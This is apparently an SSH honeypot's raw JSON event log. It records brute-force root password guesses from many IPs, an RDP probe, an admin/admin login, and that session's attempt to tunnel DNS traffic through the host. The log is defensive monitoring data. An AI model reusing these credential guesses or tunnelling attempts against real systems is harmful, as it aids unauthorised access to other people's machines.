{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:21.273211Z","src_ip":"157.230.190.155","session":"0afdce8c12f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba123","message":"login attempt [root/prueba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:21.325328Z","src_ip":"157.230.190.155","session":"0afdce8c12f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:22.334689Z","src_ip":"157.230.190.155","session":"0afdce8c12f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55316,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9acc1979ada","protocol":"ssh","message":"New connection: 189.203.163.10:55316 (10.17.0.5:22) [session: d9acc1979ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:24.385126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:24.390269Z","src_ip":"189.203.163.10","session":"d9acc1979ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:24.453650Z","src_ip":"189.203.163.10","session":"d9acc1979ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:24.737849Z","src_ip":"189.203.163.10","session":"d9acc1979ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:25.804789Z","src_ip":"189.203.163.10","session":"d9acc1979ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":47846,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ee98d66e1e","protocol":"ssh","message":"New connection: 45.119.212.99:47846 (10.17.0.5:22) [session: 68ee98d66e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:26.331340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:26.340475Z","src_ip":"45.119.212.99","session":"68ee98d66e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:26.632918Z","src_ip":"45.119.212.99","session":"68ee98d66e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarsys","message":"login attempt [root/tarsys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:27.901264Z","src_ip":"45.119.212.99","session":"68ee98d66e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:29.173296Z","src_ip":"45.119.212.99","session":"68ee98d66e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":58428,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59e7f0c45b2","protocol":"ssh","message":"New connection: 103.249.84.242:58428 (10.17.0.5:22) [session: f59e7f0c45b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:37.534245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:37.538314Z","src_ip":"103.249.84.242","session":"f59e7f0c45b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:37.765894Z","src_ip":"103.249.84.242","session":"f59e7f0c45b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Orange@123","message":"login attempt [root/Orange@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:38.707560Z","src_ip":"103.249.84.242","session":"f59e7f0c45b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:39.937919Z","src_ip":"103.249.84.242","session":"f59e7f0c45b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":40594,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a3dd8c446b7","protocol":"ssh","message":"New connection: 43.134.71.92:40594 (10.17.0.5:22) [session: 5a3dd8c446b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:47.712659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:47.717890Z","src_ip":"43.134.71.92","session":"5a3dd8c446b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:47.947843Z","src_ip":"43.134.71.92","session":"5a3dd8c446b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iskandar","message":"login attempt [root/iskandar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:48.896891Z","src_ip":"43.134.71.92","session":"5a3dd8c446b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:50.129032Z","src_ip":"43.134.71.92","session":"5a3dd8c446b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.09148979187012,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:51.654583Z","src_ip":"192.119.13.58","session":"649682f7ea34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59631,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d9e88939d74","protocol":"ssh","message":"New connection: 152.42.212.128:59631 (159.203.135.109:22) [session: 5d9e88939d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:20.021870Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:20.025790Z","src_ip":"152.42.212.128","session":"5d9e88939d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:20.028980Z","src_ip":"152.42.212.128","session":"5d9e88939d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":57522,"dst_ip":"10.17.0.5","dst_port":22,"session":"22c2e5348a09","protocol":"ssh","message":"New connection: 89.127.197.59:57522 (10.17.0.5:22) [session: 22c2e5348a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:20.664952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:20.669800Z","src_ip":"89.127.197.59","session":"22c2e5348a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:20.793926Z","src_ip":"89.127.197.59","session":"22c2e5348a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq","message":"login attempt [root/qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:21.318796Z","src_ip":"89.127.197.59","session":"22c2e5348a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:22.445207Z","src_ip":"89.127.197.59","session":"22c2e5348a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20710,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5aa6a57b095","protocol":"ssh","message":"New connection: 87.251.64.176:20710 (10.17.0.5:22) [session: d5aa6a57b095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.156960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.162729Z","src_ip":"87.251.64.176","session":"d5aa6a57b095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.259601Z","src_ip":"87.251.64.176","session":"d5aa6a57b095","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.550928Z","src_ip":"87.251.64.176","session":"d5aa6a57b095","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.656550Z","session":"d5aa6a57b095","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.754797Z","src_ip":"87.251.64.176","session":"d5aa6a57b095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:27.854357Z","src_ip":"87.251.64.176","session":"d5aa6a57b095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":40970,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad359314794","protocol":"ssh","message":"New connection: 189.203.163.10:40970 (10.17.0.5:22) [session: 8ad359314794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:34.675026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:34.680459Z","src_ip":"189.203.163.10","session":"8ad359314794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:34.744688Z","src_ip":"189.203.163.10","session":"8ad359314794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"white","message":"login attempt [root/white] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:35.033059Z","src_ip":"189.203.163.10","session":"8ad359314794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":56502,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c8d1c5f0ef","protocol":"ssh","message":"New connection: 80.225.252.182:56502 (10.17.0.5:22) [session: 17c8d1c5f0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:58:35.505618Z"}
